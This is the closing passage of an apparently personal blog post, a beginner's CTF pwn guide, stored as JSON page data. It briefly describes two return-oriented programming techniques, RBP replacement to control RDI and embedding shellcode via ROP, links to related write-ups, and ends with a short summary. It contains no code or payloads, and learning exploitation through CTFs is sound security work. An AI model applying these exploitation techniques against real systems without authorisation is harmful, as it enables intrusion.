style=\"position:relative;\"><a href=\"#other-rop-techniques\" aria-label=\"other rop techniques permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Other ROP Techniques</h2>\n<h3 id=\"rop-technique-using-rbp-replacement\" style=\"position:relative;\"><a href=\"#rop-technique-using-rbp-replacement\" aria-label=\"rop technique using rbp replacement permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ROP Technique Using RBP Replacement</h3>\n<p>A technique using <code class=\"language-text\">pop rbp</code> to replace RBP, allowing RDI to be controlled even without a <code class=\"language-text\">pop rdi</code> gadget.</p>\n<p>When using <code class=\"language-text\">pop rbp</code>, care must be taken with how <code class=\"language-text\">leave</code> is handled.</p>\n<p>Reference: <a href=\"/ctf-imaginary-ctf-2024-en\">Imaginary CTF 2024 - ropity</a></p>\n<h3 id=\"embedding-shell-code\" style=\"position:relative;\"><a href=\"#embedding-shell-code\" aria-label=\"embedding shell code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Embedding Shell Code</h3>\n<p>A technique using ROP to embed arbitrary shell code into memory space.</p>\n<p>Reference: <a href=\"/ctf-pwn-gachi-rop-en\">A Beginner CTFer’s Pwn Crash Course 2 - seccomp Bypass and Shell Code Basics -</a></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>I had been feeling stuck with Rev lately, so I started studying Pwn in earnest.</p>\n<p>By spending time working through FSB and ROP in depth, I feel I’ve gained insights that I can apply going forward.</p>","fields":{"slug":"/ctf-pwn-og-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-06-14","description":"Beginner's Guide to CTF Pwn 1 - FSB Basics and ROP Techniques","tags":["Rev (en)","Pwn (en)","English"],"title":"Beginner's Guide to CTF Pwn 1 - FSB Basics and ROP Techniques","socialImage":{"publicURL":"/static/fe8109b2e0e6b66911292538155fe252/ctf-pwn-og.png"}}}},"pageContext":{"slug":"/ctf-pwn-og-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}